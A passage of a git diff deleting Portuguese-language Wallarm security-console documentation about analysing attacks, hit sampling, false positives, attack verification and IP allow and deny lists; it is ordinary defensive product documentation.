investigando todas as colunas da tabela descritas em ["Verificando Ataques e Incidentes.][link-check-attack] - -## Analisar Solicitações em um Ataque - -1. Selecione um ataque. -2. Clique no número na coluna *Solicitações*. - -Ao clicar no número, todas as solicitações no ataque selecionado serão exibidas. - -![Solicitações no ataque][img-analyze-attack] - -Cada solicitação exibe as informações associadas nas seguintes colunas: - -* *Data*: Data e hora da solicitação. -* *Payload*: [carga maliciosa][glossary-attack-vector]. Clicar no valor na coluna de carga exibirá informações de referência sobre o tipo de ataque. -* *Fonte*: O endereço IP de onde a solicitação se originou. Clicar no endereço IP adiciona o valor do endereço IP ao campo de pesquisa. As seguintes informações também são exibidas se foram encontradas no banco de dados IP2Location ou similar: - * O país/ região no qual o endereço IP está registrado. - * O tipo de fonte, por exemplo **Proxy**, **Tor** ou a plataforma de nuvem no qual o IP está registrado, etc. - * O rótulo **IPs Maliciosos** aparecerá se o endereço IP for conhecido por atividades maliciosas. Isso é baseado em registros públicos e validações de especialistas. -* *Status*: O status de bloqueio da solicitação (depende do [modo de filtragem de tráfego](../../admin-en/configure-wallarm-mode.md)). -* *Código*: O código de status de resposta do servidor para a solicitação. Se o nó de filtragem bloquear a solicitação, o código será `403` ou outro [valor personalizado](../../admin-en/configuration-guides/configure-block-page-and-code.md). -* *Tamanho*: O tamanho da resposta do servidor. -* *Tempo*: O tempo de resposta do servidor. - -Se o ataque estiver acontecendo no momento atual, o rótulo *"agora"* é mostrado no gráfico de solicitação. - -![Um ataque acontecendo atualmente][img-current-attack] - -A visualização da solicitação oferece as seguintes opções para ajuste fino do comportamento da Wallarm: - -* [**Marcar como falso positivo** e **Falso**](false-attack.md) para relatar solicitações legítimas sinalizadas como ataques. -* **Desativar base64** para indicar que o analisador base64 foi aplicado incorretamente ao elemento da solicitação. - - O botão abre um formulário preenchido para configurar a [regra que desativa o analisador](../rules/disable-request-parsers.md). -* **Regra** para criar [qualquer regra individual](../rules/rules.md#rule) para lidar com certas solicitações. - - O botão abre um formulário de configuração de regra preenchido com os dados da solicitação. - -* A seção **Detectada por regras personalizadas** é exibida se o ataque foi detectado por uma [regra personalizada baseada em expressão regular](../../user-guides/rules/regex-rule.md). A seção contém o link para a regra correspondente (pode haver mais de uma) - clique no link para acessar os detalhes da regra e editá-los, se necessário. - - ![Ataque detectado por regra personalizada baseada em expressão regular - edição de regra](../../images/user-guides/search-and-filters/detected-by-custom-rule.png) - - [Saiba como pesquisar esses ataques →](../../user-guides/search-and-filters/use-search.md#search-by-regexp-based-customer-rule) - -## Analisar uma Solicitação no Formato Bruto - -O formato bruto de uma solicitação é o nível máximo possível de detalhes. A visualização no formato bruto no Console Wallarm também permite a cópia de uma solicitação no formato cURL. - -Para visualizar uma solicitação em um formato bruto, expanda um ataque necessário e depois a solicitação dentro dele. - -![Formato bruto da solicitação][img-analyze-attack-raw] - -## Analise solicitações de IPs na lista de negação - -[A listagem de negação](../../user-guides/ip-lists/denylist.md) prova ser uma medida defensiva eficaz contra ataques de alto volume de diferentes tipos. Isso é conseguido bloqueando solicitações no estágio inicial de processamento. Ao mesmo tempo, é igualmente importante coletar informações completas sobre todas as solicitações bloqueadas para análises futuras. - -A Wallarm oferece a capacidade de coletar e exibir estatísticas sobre solicitações bloqueadas de IPs de origem na lista de negação. Isso permite avaliar a potência dos ataques originários de IPs na lista de negação e realizar uma análise precisa das solicitações desses IPs, explorando vários parâmetros. - -!!! info "Disponibilidade do recurso" - O recurso está disponível a partir da versão 4.8 do nó, para nós baseados em NGINX. Por padrão, ele está [ativado](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable). - -Na Wallarm, existem várias maneiras de um IP entrar na lista de negação. Dependendo do caminho utilizado, você precisará [pesquisar](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) os eventos associados usando diferentes tags/filtros: - -* Você o adiciona manualmente (na seção **Eventos**, use a pesquisa `blocked_source` ou o filtro `Fonte bloqueada`) -* Ele realiza um ataque comportamental e é automaticamente listado na lista de negação por: - * Módulo de [Prevenção de Abuso de API](../../user-guides/ip-lists/denylist.md#automatic-bots-ips-denylisting) (pesquisa `api_abuse`, filtro `Abuso de API`) - * [`Ataque de força bruta`](../../admin-en/configuration-guides/protecting-against-bruteforce.md) (pesquisa `brute`, filtro `Ataque de força bruta`) - * [`Navegação forçada`](../../admin-en/configuration-guides/protecting-against-bruteforce.md) (pesquisa `dirbust`, filtro `Navegação forçada`) - * [Gatilho `BOLA`](../../admin-en/configuration-guides/protecting-against-bola.md) (pesquisa `bola`, filtro `BOLA`) - * Gatilho `Número de cargas maliciosas` (pesquisa `multiple_payloads`, filtro `Cargas múltiplas`) - -Os ataques comportamentais listados só podem ser detectados após a acumulação de certas estatísticas cuja quantidade necessária depende dos limiares do gatilho correspondente. Assim, na primeira etapa, antes da listagem de negação, a Wallarm coleta essas informações, mas todas as solicitações são passadas e exibidas dentro dos eventos de `Monitoramento`. - -Uma vez que os limiares do gatilho são excedidos, a atividade maliciosa é considerada detectada e a Wallarm coloca o IP na lista de negação, o nó começa a bloquear imediatamente todas as solicitações originadas dele. - -Assim que a transmissão de informações sobre solicitações de IPs na lista de negação estiver ativada, você verá as solicitações `Bloqueadas` desses IPs na lista de eventos. Isso se aplica também aos IPs listados manualmente. - -![Eventos relacionados a IPs na lista de negação - envio de dados ativado](../../images/user-guides/events/events-denylisted-export-enabled.png) - -Note que a pesquisa/filtros exibirá tanto os eventos `Monitoramento` e - se a transmissão de informações estiver habilitada - eventos `Bloqueados` para cada tipo de ataque. Para IPs na lista de negação manualmente, um evento `Monitoramento` nunca existe. - -Dentro dos eventos `Bloqueados`, use tags para alternar para o motivo da listagem de negação - configurações BOLA, Prevenção de Abuso de API, gatilho ou registro causador na lista de negação. - -## Amostragem de hits - -O tráfego malicioso geralmente consiste em hits [comparáveis e idênticos](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components). Armazenar todos os hits resulta em entradas duplicadas na lista de eventos que aumenta tanto o tempo para análise de eventos quanto a carga no Wallarm Cloud. - -A amostragem de hits otimiza o armazenamento e a análise dos dados, descartando hits não exclusivos a serem carregados para o Wallarm Cloud. - -!!! warning "Hits descartados no número de RPS" - Como as solicitações descartadas ainda são solicitações processadas pelo nó Wallarm, o valor de RPS nos detalhes do nó aumenta com cada solicitação descartada. - - O número de solicitações e hits no [painel de Prevenção de ameaças](../dashboards/threat-prevention.md) também inclui o número de hits descartados. - -A amostragem de hits não afeta a qualidade da detecção de ataques e apenas ajuda a evitar sua desaceleração. O nó Wallarm continua detectando ataques e [bloqueando](../../admin-en/configure-wallarm-mode.md#available-filtration-modes), mesmo com a amostragem de hits ativada. - -### Habilitando o algoritmo de amostragem - -* Para ataques de [validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), a amostragem de hits está desativada por padrão. Se a porcentagem de ataques em seu tráfego for alta, a amostragem de hits será realizada em duas etapas sequenciais: **extrema** e **regular**. -* Para ataques [comportamentais](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), ataques de [Bomba de dados](../../attacks-vulns-list.md#data-bomb) e [Recursos excedidos](../../attacks-vulns-list.md#overlimiting-of-computational-resources): o algoritmo de amostragem **regular** está ativado por padrão. A amostragem **extrema** começa apenas se a porcentagem de ataques em seu tráfego for alta. -* Para eventos de IPs na lista de negação, a amostragem é configurada no lado do nó. Ele carrega apenas as 10 primeiras solicitações idênticas para a Cloud, enquanto aplica um algoritmo de amostragem ao restante dos hits. - -Quando o algoritmo de amostragem está ativado, na seção **Eventos**, a notificação **Amostragem de hits está ativada** é exibida. - -A amostragem será automaticamente desativada assim que a porcentagem de ataques no tráfego diminuir. - -### Lógica principal da amostragem de hits - -A amostragem de hits é realizada em duas etapas sequenciais: **extrema** e **regular**. - -O algoritmo regular processa apenas os hits salvos após o estágio extremo, a menos que os hits sejam do tipo [comportamental](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), [Bomba de dados](../../attacks-vulns-list.md#data-bomb) ou [Recursos excedidos](../../attacks-vulns-list.md#overlimiting-of-computational-resources). Se a amostragem extrema for desativada para hits desses tipos, o algoritmo regular processará o conjunto original de hits. - -**Amostragem extrema** - -O algoritmo de amostragem extrema tem a seguinte lógica principal: - -* Se os hits são do tipo [validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), o algoritmo carrega para a Cloud apenas aqueles com cargas [maliciosas únicas](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components). Se vários hits com a mesma carga são detectados em uma hora, apenas o primeiro deles é carregado na Cloud e os outros são descartados. -* Se os hits são do tipo [comportamental](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), [Bomba de dados](../../attacks-vulns-list.md#data-bomb) ou [Recursos excedidos](../../attacks-vulns-list.md#overlimiting-of-computational-resources), o algoritmo carrega para a Cloud apenas os primeiros 10% deles detectados em uma hora. - -**Amostragem regular** - -O algoritmo de amostragem regular tem a seguinte lógica principal: - -1. Os primeiros 5 hits idênticos para cada hora são salvos na amostra na Cloud Wallarm. O restante dos hits não é salvo na amostra, mas seu número é registrado em um parâmetro separado. - - Os hits são idênticos se todos os seguintes parâmetros tiverem os mesmos valores: - - * Tipo de ataque - * Parâmetro com a carga maliciosa - * Endereço de destino - * Método de pedido - * Código de resposta - * Endereço IP de origem -2. Amostras de hits são agrupadas em [ataques](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) na lista de eventos. - -Os hits agrupados são exibidos na seção **Eventos** do Console Wallarm da seguinte maneira: - -![Hits descartados](../../images/user-guides/events/bruteforce-dropped-hits.png) - -Para filtrar a lista de eventos de modo que ela exiba apenas os hits amostrados, clique na notificação **Amostragem de hits está ativada**. O atributo `sampled` será [adicionado](../search-and-filters/use-search.md#search-for-sampled-hits) ao campo de pesquisa e a lista de eventos exibirá apenas os hits amostrados. - -!!! info "Exibindo hits descartados na lista de eventos" - Como os hits descartados não são carregados para a nuvem Wallarm, certos hits ou ataques inteiros podem estar ausentes na lista de eventos. - - \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/events/check-attack.md b/docs/latest-pt-BR/user-guides/events/check-attack.md deleted file mode 100644 index 748c24992d..0000000000 --- a/docs/latest-pt-BR/user-guides/events/check-attack.md +++ /dev/null @@ -1,91 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[link-verify-attack]: ../events/verify-attack.md - -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[img-vulns-tab]: ../../images/user-guides/events/check-vulns.png -[img-show-falsepositive]: ../../images/user-guides/events/filter-for-falsepositive.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action - -# Verificando eventos - -Você pode verificar ataques detectados e incidentes na seção **Eventos** do Console Wallarm. Para encontrar os dados necessários, use o campo de pesquisa conforme descrito [aqui][use-search] ou defina manualmente os filtros de pesquisa necessários. - -## Ataques - -![Aba de ataques][img-attacks-tab] - -* **Data**: A data e hora da solicitação maliciosa. - * Se várias solicitações do mesmo tipo foram detectadas em intervalos curtos, a duração do ataque aparece sob a data. A duração é o período de tempo entre a primeira solicitação de um determinado tipo e a última solicitação do mesmo tipo no período de tempo especificado. - * Se o ataque está ocorrendo no momento atual, é exibido um [rótulo](#events-that-are-currently-happening) apropriado. -* **Solicitações (hits)**: O número de solicitações (hits) no ataque no intervalo de tempo especificado. -* **Cargas úteis**: Tipo de ataque e o número de [cargas úteis maliciosas](../../glossary-en.md#malicious-payload) únicas. -* **Top IP / Origem**: O endereço IP de onde partiram as solicitações maliciosas. Quando as solicitações maliciosas se originam de vários endereços IP, a interface mostra o endereço IP responsável pela maioria das solicitações. Também são exibidos os seguintes dados para o endereço IP: - * O número total de endereços IP de onde partiram as solicitações no mesmo ataque durante o período de tempo especificado. - * O país/região em que o endereço IP está registrado (se foi encontrado em bancos de dados como IP2Location ou outros) - * O tipo de origem, como **Proxy público**, **Proxy da web**, **Tor** ou a plataforma em nuvem na qual o IP está registrado, etc (se foi encontrado em bancos de dados como IP2Location ou outros) - * O rótulo **IPs Maliciosos** aparecerá se o endereço IP for conhecido por atividades maliciosas. Isso é baseado em registros públicos e validações de especialistas -* **Domínio / Caminho**: O domínio, caminho e o ID de aplicativo que a solicitação visava. -* **Status**: O status de bloqueio do ataque (depende do [modo de filtragem de tráfego](../../admin-en/configure-wallarm-mode.md)): - * Bloqueado: todos os hits do ataque foram bloqueados pelo nó de filtragem. - * Parcialmente bloqueado: alguns hits do ataque foram bloqueados e outros foram apenas registrados. - * Monitoramento: todos os hits do ataque foram registrados, mas não bloqueados. -* **Parâmetro**: Os parâmetros da solicitação maliciosa e as tags das [análises](../rules/request-processing.md) aplicadas à solicitação. -* **Verificação ativa**: O status de verificação do ataque. Se o ataque for marcado como falso positivo, a marca correspondente será mostrada nesta coluna (**FP**) e o ataque não será verificado novamente. Para encontrar ataques pela ação falsa positiva, use o filtro de pesquisa abaixo - ![Filtro para falso positivo][img-show-falsepositive] - -Para ordenar ataques pelo tempo da última solicitação, você pode usar o botão **Ordenar pelo último hit**. - -## Incidentes - -![Aba de incidentes][img-incidents-tab] - -Os incidentes têm os mesmos parâmetros que os ataques, exceto por uma coluna: a coluna **Vulnerabilidades** substitui a coluna **Verificação** dos ataques. A coluna **Vulnerabilidades** exibe a vulnerabilidade, que o incidente correspondente explorou. - -Clicar na vulnerabilidade leva você à sua descrição detalhada e instruções sobre como corrigi-la. - -Para ordenar incidentes pelo tempo da última solicitação, você pode usar o botão **Ordenar pelo último hit**. - -## Eventos que estão ocorrendo no momento - -Você pode verificar eventos em tempo real. Se os recursos de sua empresa estiverem recebendo solicitações maliciosas, os seguintes dados são exibidos no Console Wallarm: - -* O número de eventos que aconteceram nos últimos 5 minutos, que será exibido ao lado do nome da seção **Eventos** e dentro da seção. -* Rótulo especial, que é exibido sob a data do evento na tabela de ataques ou incidentes. - -Você também pode adicionar a palavra-chave `now` ao campo de pesquisa para exibir apenas os eventos que estão ocorrendo no momento: - -* `ataques agora` para mostrar ataques acontecendo agora. -* `incidentes agora` para mostrar incidentes acontecendo agora. -* `ataques incidentes agora` para mostrar ataques e incidentes acontecendo agora. - -![Ataques acontecendo agora][img-current-attacks] - -## Chamadas API para obter ataques e incidentes - -Para obter os detalhes do ataque ou incidente, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar a interface do usuário do Console Wallarm. Abaixo estão alguns exemplos das chamadas API correspondentes. - -**Obter os 50 primeiros ataques detectados nas últimas 24 horas** - -Substitua `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include-pt-BR/api-request-examples/get-attacks-en.md" - -!!! warning "Obtendo 100 ou mais ataques" - Para conjuntos de ataques e hits que contêm 100 ou mais registros, é melhor recuperá-los em partes menores em vez de buscar grandes conjuntos de dados de uma só vez, a fim de otimizar o desempenho. [Explore o exemplo de solicitação correspondente](../../api/request-examples.md#get-a-large-number-of-attacks-100-and-more) - -**Obter os 50 primeiros incidentes confirmados nas últimas 24 horas** - -A solicitação é muito semelhante ao exemplo anterior para uma lista de ataques; o termo `"!vulnid": null` é adicionado a esta solicitação. Este termo instrui a API a ignorar todos os ataques sem ID de vulnerabilidade especificado, e é assim que o sistema distingue entre ataques e incidentes. - -Substitua `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include-pt-BR/api-request-examples/get-incidents-en.md" - - \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/events/false-attack.md b/docs/latest-pt-BR/user-guides/events/false-attack.md deleted file mode 100644 index 587e343546..0000000000 --- a/docs/latest-pt-BR/user-guides/events/false-attack.md +++ /dev/null @@ -1,59 +0,0 @@ -[link-analyzing-attacks]: analyze-attack.md - -[img-false-attack]: ../../images/user-guides/events/false-attack.png -[img-removed-attack-info]: ../../images/user-guides/events/removed-attack-info.png - - -# Trabalhando com falsos ataques - -**Falso positivo** ocorre quando sinais de ataque são detectados em uma solicitação legítima. Após analisar um ataque, você pode concluir que todas ou algumas solicitações neste ataque são falsos positivos. Para evitar que o nó de filtragem reconheça essas solicitações como ataques nas futuras análises de tráfego, você pode marcar várias solicitações ou todo o ataque como falso positivo. - -## Como funciona a marca de falso positivo? - -* Se uma marca de falso positivo for adicionada ao ataque de um tipo diferente de [Exposição de Informações](../../attacks-vulns-list.md#information-exposure), a regra que desativa a análise das mesmas solicitações para sinais de ataque detectados ([tokens](../../about-wallarm/protecting-against-attacks.md#library-libproton)) é automaticamente criada. -* Se uma marca de falso positivo for adicionada ao incidente com o tipo de ataque [Exposição de Informações](../../attacks-vulns-list.md#information-exposure), a regra que desativa a análise das mesmas solicitações para [sinais de vulnerabilidade](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) detectados é automaticamente criada. - -A regra criada é aplicada ao analisar as solicitações ao aplicativo protegido. Essa regra não é exibida no Console da Wallarm e só pode ser alterada ou removida por meio de uma solicitação enviada ao [suporte técnico da Wallarm](mailto: support@wallarm.com). - -## Marcar um hit como um falso positivo - -Para marcar uma solicitação (hit) como falso positivo: - -1. No Console da Wallarm → **Events**, expanda a lista de solicitações no ataque considerado um falso positivo. - - Para reduzir o tempo de análise da solicitação, você pode ocultar as solicitações que são precisamente maliciosas usando a [tag `!known`](../search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits). -2. Defina uma solicitação válida e clique em **Falso** na coluna **Actions**. - - ![Hit Falso][img-false-attack] - -## Marcar um ataque como falso positivo - -Para marcar todas as solicitações (hits) no ataque como falsos positivos: - -1. No Console da Wallarm → **Events**, selecione um ataque com solicitações válidas. - - Para reduzir o tempo de análise da solicitação, você pode ocultar as solicitações que são precisamente maliciosas usando a [tag `!known`](../search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits). -2. Clique em **Marcar como positivo falso**. - - ![False attack](../../images/user-guides/events/analyze-attack.png) - -!!! Aviso "Se um ataque for hits agrupados por IPs" - Se um ataque consistir em hits [agrupados](../../about-wallarm/protecting-against-attacks.md#attack) por endereços IP, o botão **Marcar como falso positivo** não estará disponível. Você pode [marcar certos hits](#mark-a-hit-as-a-false-positive) como positivos falsos. - -Se todas as solicitações do ataque forem marcadas como positivas falsas, as informações sobre esse ataque serão assim: - -![Todo o ataque é marcado como falso][img-removed-attack-info] - -## Remover uma marca de falso positivo - -Para remover uma marca de falso positivo do hit ou ataque, envie uma solicitação ao [suporte técnico da Wallarm](mailto: support@wallarm.com). Além disso, você pode desfazer uma marca positiva falsa na caixa de diálogo no Console Wallarm em poucos segundos após a aplicação da marca. - -## Exibindo falsos positivos na lista de ataques - -O Console da Wallarm permite controlar a exibição de falsos positivos na lista de ataques por meio de um filtro separado. Existem as seguintes opções de filtro: - -* **Visualização padrão**: apenas ataques reais -* **Com falsos positivos**: ataques reais e falsos positivos -* **Somente falsos positivos** - -![Filtro positivo falso](../../images/user-guides/events/filter-for-falsepositive.png) diff --git a/docs/latest-pt-BR/user-guides/events/overview.md b/docs/latest-pt-BR/user-guides/events/overview.md deleted file mode 100644 index 6116849343..0000000000 --- a/docs/latest-pt-BR/user-guides/events/overview.md +++ /dev/null @@ -1,61 +0,0 @@ -# Threat Management Overview - -Wallarm's **Threat Management** provides full, real-time picture of your security posture and allows controlling used protection tools. This article gives an overview of Threat Management components, their purpose and main possibilities. - -## Overview - -Threat Management provides full picture of what is happening: - -* Do you want visualized interactive summary for attacks, endpoints, protection tools in action? Use [dashboards](#dashboards). -* Do you want to see occurring attacks, taken measures, and tools that provided these measures? Work with [attacks](#attacks), easily [adjust](check-attack.md#responding-to-attacks) the tools. -* Work in the same way with [incidents](#incidents). -* Do you want informative documents on attacks, incidents or vulnerabilities? Generate PDF or CSV [reports](#reports) with the filtered data of you choice. - -![Threat Management](../../images/user-guides/events/tm-diagram-no-sessions.png) - -All Threat Management components include advanced search and filtering capabilities. You can also make PDF and CSV reports for attacks and incidents with the filtered content of you choice. Wallarm uses the sophisticated grouping mechanisms to logically combine requests into attacks and sessions and provides you with the ability to modify how Sessions are detected to make a full match to your application logic. - -## Dashboards - -Threat Management's dashboards provide visualized summaries for your security perimeter and posture. All being interactive, they provide you with quick access to details and data in different parts of the system and configuration tools. - -![Threat Management - dashboards](../../images/user-guides/events/tm-overview-dashboards.png) - -* Get clear vision of the malicious traffic volume and its distribution by attack types, sources, protocols, authentication methods, etc. with the [**Threat Prevention**](../../user-guides/dashboards/threat-prevention.md) dashboard. -* Review data about your API collected by the Wallarm's API Discovery with the [**API Discovery**](../../user-guides/dashboards/api-discovery.md) dashboard. -* Check covering the OWASP API Security Top 10 2023 and proactively implement security controls on the [**OWASP API Security Top 10 - 2023**](../../user-guides/dashboards/owasp-api-top-ten.md) dashboard. - -## Attacks - -Wallarm continuously analyzes application traffic, detects and mitigates attacks in real-time. The [**Attacks**](check-attack.md) section of the Wallarm Console is the central hub for analyzing current attempts of penetrating your security perimeter and its staying protected from them as well as the tool for configuring additional security measures. - -![Threat Management - Attacks](../../images/user-guides/events/filter-for-falsepositive.png) - -With **Attacks** section you can: - -* See current attacks and Wallarm's taken measures and limit what you see to: - - * Attacks of specific types - * From specific IPs or geographical locations - * Occurred in specific time - * To specific applications or domains - * Etc. - -* See the same info for different periods - up to last 3 months -* Create or modify [rules](../../user-guides/rules/rules.md#what-you-can-do-with-rules) for treating similar attacks in future -* Correct Wallarm decision making by highlighting [false positives](check-attack.md#false-positives) - -## Incidents - -The incidents are the attacks targeted at a confirmed vulnerability. The [**Incidents**](check-incident.md) section connects all common attack data with the vulnerability it tries to exploit and thus you can: - -* Have all info and tools available in **Attacks** -* Get related vulnerability data and full info of its - -![Threat Management - Incidents](../../images/user-guides/events/incident-vuln.png) - -## Reports - -For attacks, incidents or vulnerabilities, generate PDF or CSV [reports](../../user-guides/search-and-filters/custom-report.md). Do you want selected data? Apply filters and only filtered data will become the part of report. - -![Attacks - creating report](../../images/user-guides/search-and-filters/custom-report.png) diff --git a/docs/latest-pt-BR/user-guides/events/verify-attack.md b/docs/latest-pt-BR/user-guides/events/verify-attack.md deleted file mode 100644 index 94a207ef78..0000000000 --- a/docs/latest-pt-BR/user-guides/events/verify-attack.md +++ /dev/null @@ -1,61 +0,0 @@ -[img-verification-statuses]: ../../images/user-guides/events/attack-verification-statuses.png -[img-verify-attack]: ../../images/user-guides/events/verify-attack.png -[img-verified-icon]: ../../images/user-guides/events/verified.png#mini -[img-error-icon]: ../../images/user-guides/events/error.png#mini -[img-forced-icon]: ../../images/user-guides/events/forced.png#mini -[img-sheduled-icon]: ../../images/user-guides/events/sheduled.png#mini -[img-cloud-icon]: ../../images/user-guides/events/cloud.png#mini - -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing - -# Verificando Ataques - -A Wallarm verifica automaticamente os [rechecks](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) ataques para a detecção ativa de vulnerabilidades. - -Você pode verificar o status de verificação do ataque e forçar uma nova verificação no separador *Eventos*. O ataque selecionado será a base para a geração do conjunto de testes de ataque. - -![Ataques com vários status de verificação][img-verification-statuses] - -## Verifique o Status da Verificação do Ataque - -1. Clique na guia *Eventos*. -2. Verifique o status na coluna "Verificação". - -## Legenda de Status de Verificação de Ataque - -* ![Verificado][img-verified-icon] *Verificado*: O ataque foi verificado. -* ![Erro][img-error-icon] *Erro*: Uma tentativa de verificar um tipo de ataque que não suporta verificação. -* ![Forçado][img-forced-icon] *Forçado*: O ataque tem uma prioridade elevada na fila de verificação. -* ![Agendado][img-sheduled-icon] *Agendado*: O ataque está na fila para verificação. -* ![Não foi possível conectar][img-cloud-icon] *Não foi possível conectar ao servidor*: Não é possível acessar o servidor neste momento. - -## Forçando uma Verificação de Ataque - -1. Selecione um ataque. -2. Clique no sinal de status na coluna "Verificação". -3. Clique em *Forçar verificação*. - -A Wallarm aumentará a prioridade da verificação do ataque na fila. - -![Verificação de ataques][img-verify-attack] - -## Tipos de Ataque que Não Suportam Verificação - -Ataques dos seguintes tipos não suportam verificação: - -* [Ataque de força bruta][al-brute-force-attack] -* [Navegação forçada][al-forced-browsing] -* Ataques com um limite de processamento de solicitações -* Ataques para os quais as vulnerabilidades já foram fechadas -* Ataques que não contêm dados suficientes para verificação -* [Ataques que consistem em hits agrupados por IPs de origem](../triggers/trigger-examples.md#group-hits-originating-from-the-same-ip-into-one-attack) - -A repetição da verificação do ataque falhará nos seguintes casos: - -* Ataques enviados através do protocolo gRPC ou Protobuff -* Ataques enviados via protocolo HTTP de versão diferente de 1.x -* Ataques enviados por um método diferente dos seguintes: GET, POST, PUT, HEAD, PATCH, OPTIONS, DELETE, LOCK, UNLOCK, MOVE, TRACE -* Falha ao alcançar um endereço de uma solicitação original -* Sinais de ataque estão no cabeçalho `HOST` -* [Elemento de solicitação](../rules/request-processing.md) contendo sinais de ataque é diferente de um dos seguintes: `uri`, `header`, `query`, `post`, `path`, `action_name`, `action_ext` \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/ip-lists/allowlist.md b/docs/latest-pt-BR/user-guides/ip-lists/allowlist.md deleted file mode 100644 index fecd02f989..0000000000 --- a/docs/latest-pt-BR/user-guides/ip-lists/allowlist.md +++ /dev/null @@ -1,57 +0,0 @@ -# Lista de permissões de endereço IP - -**Lista de permissões** é uma lista de endereços IP confiáveis que têm permissão para acessar seus aplicativos, mesmo se as solicitações originadas a partir deles contiverem sinais de ataque. A lista de permissões tem a mais alta prioridade entre outras listas, o nó de filtragem em qualquer [modo de filtragem](../../admin-en/configure-wallarm-mode.md) não bloqueará solicitações originárias de endereços IP da lista de permissões. - -No Console Wallarm → **Listas de IP** → **Lista de permissões**, você pode gerenciar endereços IP da lista de permissões da seguinte maneira: - ---8<-- "../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md" - -![Lista de permissões IP](../../images/user-guides/ip-lists/allowlist-apps.png) - -!!! info "Nome antigo da lista" - O nome antigo da lista de permissões de endereço IP é "lista de permissões de endereço IP". - -## Exemplos de uso da lista de permissões de IP - -Se você usa outras ferramentas confiáveis ​​que originam solicitações potencialmente maliciosas, é necessário adicionar manualmente os IPs originais dessas ferramentas à lista de permissões. - -## Adicionando um objeto à lista - -!!! info "Adicionando um endereço IP à lista no nó de vários inquilinos" - Se você instalou o [nó de vários inquilinos](../../installation/multi-tenant/overview.md), mude primeiro para a [conta de um inquilino](../../installation/multi-tenant/configure-accounts.md#tenant-account-structure) para o qual o endereço IP está sendo adicionado à lista. - -Para adicionar um endereço IP, sub-rede ou grupo de endereços IP à lista: - -1. Abra o Console Wallarm → **Listas de IP** → **Lista de permissões** e clique no botão **Adicionar objeto**. -1. Na lista suspensa, selecione a lista para adicionar o novo objeto. -2. Especifique um endereço IP ou grupo de endereços IP de uma das seguintes maneiras: - - * Insira um único **endereço IP** ou uma **sub-rede** - - !!! info "Máscaras de sub-rede suportadas" - A máscara de sub-rede máxima suportada é `/32` para endereços IPv6 e `/12` para endereços IPv4. - - * Selecione um **país** ou uma **região** (geolocalização) para adicionar todos os endereços IP registrados neste país ou região - * Selecione o **tipo de fonte** para adicionar todos os endereços IP que pertencem a este tipo, por exemplo: - * **Tor** para endereços IP da rede Tor - * **Proxy** para endereços IP de servidores proxy públicos ou na web - * **Search Engine Spiders** para endereços IP de spiders de mecanismos de busca - * **VPN** para endereços IP de redes privadas virtuais - * **AWS** para endereços IP registrados no Amazon AWS - * **IPs maliciosos** para endereços IP bem conhecidos por atividades maliciosas, como mencionado em fontes públicas e verificado por análise de especialistas. Coletamos esses dados de uma combinação dos seguintes recursos: - - * [Collective Intelligence Network Security](http://cinsscore.com/list/ci-badguys.txt) - * [Proofpoint Emerging Threats Rules](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) - * [DigitalSide Threat-Intel Repository](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) - * [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) - * [www.blocklist.de](https://www.blocklist.de/en/export.html) - * [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) - * [IPsum](https://github.com/stamparm/ipsum) - -3. Selecione os aplicativos aos quais você permite ou restringe o acesso para os endereços IP especificados. -4. Selecione o período pelo qual um endereço IP ou um grupo de endereços IP deve ser adicionado à lista. O valor mínimo é de 5 minutos, o valor máximo é para sempre. -5. Especifique o motivo para adicionar um endereço IP ou um grupo de endereços IP à lista. - -![Adicione IP à lista (com aplicativo)](../../images/user-guides/ip-lists/add-ip-to-list-app.png) - ---8<-- "../include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md" diff --git a/docs/latest-pt-BR/user-guides/ip-lists/denylist.md b/docs/latest-pt-BR/user-guides/ip-lists/denylist.md deleted file mode 100644 index 95433f15e1..0000000000 --- a/docs/latest-pt-BR/user-guides/ip-lists/denylist.md +++ /dev/null @@ -1,88 +0,0 @@ -# Lista de negação de endereços IP - -**Lista de negação** é uma lista de endereços IP que não têm permissão para acessar seus aplicativos, mesmo que originem solicitações legítimas. O nó de filtragem em qualquer [modo](../../admin-en/configure-wallarm-mode.md) bloqueia todas as solicitações originadas de endereços IP na lista de negação (a menos que os IPs estejam duplicados na [allowlist](allowlist.md)). - -No Console Wallarm → **Listas de IP** → **Lista de negação**, você pode gerenciar endereços IP bloqueados da seguinte maneira: - ---8<-- 